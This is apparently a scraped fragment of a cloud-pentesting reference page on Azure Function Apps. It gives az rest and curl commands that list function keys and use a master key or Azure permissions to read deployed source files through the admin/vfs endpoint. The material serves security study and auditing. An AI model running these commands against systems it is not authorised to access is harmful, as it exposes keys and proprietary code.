az rest --method POST --uri "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<function-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
|
||||
# Get source code with Master Key of the function
|
||||
curl "<script_href>?code=<master-key>"
|
||||
## Python example
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
|
||||
curl "https://<func-app-name>.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
|
||||
|
||||
# Get source code using SCM access (Azure permissions or SCM creds)
|
||||
az rest --method GET \
|
||||
--url "https://<func-app-name>.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" \
|
||||
--resource "https://management.azure.com/"
|
||||
|
||||
# Get source code with Azure permissions
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
## Another example
|
||||
az rest --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/ConsumptionExample/hostruntime/admin/vfs/HttpExample/index.js?relativePath=1&api-version=2022-03-01"
|
||||
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
```powershell
|
||||
```bash
|
||||
Get-Command -Module Az.Functions
|
||||
|
||||
# Lists all Function Apps in the current subscription or in a specific resource group.
|
||||
|
||||
Reference in New Issue
Block a user